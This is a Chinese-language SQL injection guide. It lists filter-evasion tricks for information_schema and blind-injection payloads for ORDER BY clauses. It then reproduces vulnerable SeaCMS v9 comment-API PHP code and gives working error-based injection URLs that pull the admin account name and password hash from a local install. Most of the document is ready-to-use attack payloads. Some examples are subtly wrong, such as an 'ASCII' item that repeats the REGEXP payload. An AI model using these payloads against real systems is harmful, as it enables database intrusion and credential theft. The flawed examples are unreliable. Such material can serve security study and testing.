一、绕过过滤information_schema
1. 替代系统表或视图
如果information_schema被直接过滤,可以使用其他系统表或视图来获取元数据。
(1) 使用 mysql 数据库
获取所有表名
SELECT table_name FROM sys.schema_auto_increment_columns WHERE table_schema = DATABASE();
获取所有列名
SELECT table_name, column_name FROM sys.schema_columns WHERE table_schema = DATABASE();
(2) 使用 mysql.innodb_table_stats
获取表名
SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE();
(3) 使用 mysql.tables_priv
获取表名
SELECT table_name FROM mysql.tables_priv WHERE db = DATABASE();
2.编码混淆绕过
(1) URL编码
将 information_schema 转换为 URL 编码:
SELECT table_name FROM %69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61.tables WHERE table_schema=DATABASE();
(2) Unicode 编码
SELECT table_name FROM information\u005f_schema.tables WHERE table_schema=DATABASE();
(3) 十六进制编码
SELECT table_name FROM 0x696e666f726d6174696f6e5f736368656d61.tables WHERE table_schema=DATABASE();
3. 内联注释绕过
利用 MySQL 的 /*!*/ 注释分割关键词:
SELECT table_name FROM /*!information_schema*/.tables WHERE table_schema=DATABASE();
4. 关键字分割
通过空格、换行符或特殊字符分割 information_schema:
SELECT table_name FROM information/**/_schema.tables WHERE table_schema=DATABASE();
二、绕过过滤Order by
1. 使用 UNION SELECT 绕过
如果 ORDER BY 被过滤,可以尝试通过 UNION SELECT 注入数据。
1' UNION SELECT 1,2,3 --
确保 UNION SELECT 的列数与原查询一致。
通过 UNION SELECT 提取数据,例如表名、列名等。
2. 使用 CASE WHEN 盲注
通过 CASE WHEN 构造布尔条件,实现盲注。
ORDER BY (CASE WHEN (SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a' THEN SLEEP(5) ELSE 1 END);
3. 使用 IF 函数
通过 IF 函数构造条件,实现盲注。
布尔盲注
ORDER BY IF((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a',1,2);
如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。
时间盲注
ORDER BY IF((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a',SLEEP(5),1);
4. 使用 FIELD 函数
通过 FIELD 函数构造条件,实现盲注。
ORDER BY FIELD((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),'a',1,2);
如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。
5. 使用 REGEXP 正则表达式
通过 REGEXP 构造条件,实现盲注。
ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) REGEXP '^a';
如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。
6. 使用 ASCII 函数
通过 ASCII 函数逐字符判断,实现盲注。
ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) REGEXP '^a';
如果表名的第一个字符的 ASCII 码是 97(即 a),则按 1 排序;否则按 2 排序。
7. 使用 LIMIT 和 OFFSET
通过 LIMIT 和 OFFSET 逐行提取数据。
ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0);
提取第一行的表名。
8. 使用 GROUP BY 和 HAVING
通过 GROUP BY 和 HAVING 构造条件,实现盲注。
GROUP BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) HAVING 1=1;
提取表名并分组。
9. 使用 JOIN 子查询
通过 JOIN 子查询提取数据。
ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1);
提取表名并排序。
10. 使用 UNION 和 SELECT 子查询
通过 UNION 和 SELECT 子查询提取数据。
1' UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) --
提取表名并注入到查询结果中。
三、seacmsv9实现报错注入数据
后端代码
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{if(file_exists($jsoncachefile)){$json=LoadFile($jsoncachefile);die($json);}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{createTextFile($h,$jsoncachefile);
}
die($h); function ReadData($id,$page)
{global $type,$pCount,$rlist;$ret = array("","",$page,0,10,$type,$id);if($id>0){$ret[0] = Readmlist($id,$page,$ret[4]);$ret[3] = $pCount;$x = implode(',',$rlist);if(!empty($x)){$ret[1] = Readrlist($x,1,10000);}} $readData = FormatJson($ret);return $readData;
}function Readmlist($id,$page,$size)
{global $dsql,$type,$pCount,$rlist;$ml=array();if($id>0){$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";$rs = $dsql ->GetOne($sqlCount);$pCount = ceil($rs['dd']/$size);$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";$dsql->setQuery($sql);$dsql->Execute('commentmlist');while($row=$dsql->GetArray('commentmlist')){$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";}}$readmlist=join($ml,",");return $readmlist;
}function Readrlist($ids,$page,$size)
{global $dsql,$type;$rl=array();$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";$dsql->setQuery($sql);$dsql->Execute('commentrlist');while($row=$dsql->GetArray('commentrlist')){$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";}$readrlist=join($rl,",");return $readrlist;
}function ReadReplyID($gid,$cmid,&$rlist)
{global $dsql;if($cmid>0){if(!in_array($cmid,$rlist))$rlist[]=$cmid;$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");if(is_array($row)){$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);}else{$ReplyID = "";}}else{$ReplyID = "";}return $ReplyID;
}function FormatJson($json)
{$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";for($i=6;$i>=0;$i--){$x=str_replace("%".$i."%",$json[$i],$x);}$formatJson = jsonescape($x);return $formatJson;
}function jsonescape($txt)
{$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));return $jsonescape;
}
sql语句报错注入
http://127.0.0.1/upload9.1/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`
gid=1:内容ID(数值型参数)。
page=2:分页参数。
extractvalue():MySQL XML处理函数,用于触发错误。
concat_ws():用分隔符连接字符串,0x20是空格,0x5c是反斜杠\。
select user():获取当前数据库用户。
注入最终没有找到管理员账号密码
原因是sea_comment内为空,无法回显
输入:
INSERT INTO sea_comment (uid, v_id, typeid, username, ip, ischeck, dtime, msg, m_type, reply, agree, anti, pic, vote)-> VALUES-> (1, 100, 1, 'user1', '192.168.1.1', 1, UNIX_TIMESTAMP(), 'This is a comment', 1, 0, 0, 0, 'image1.jpg', 10),-> (2, 101, 2, 'user2', '192.168.1.2', 1, UNIX_TIMESTAMP(), 'This is another comment', 2, 0, 0, 0, 'image2.jpg', 5);
然后再次报错注入,就发现可以注入出管理员账号密码
注入账号:
http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@', updatexml (1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @'
注入密码:
http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@', updatexml (1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @'
最后再通过md5转换出密码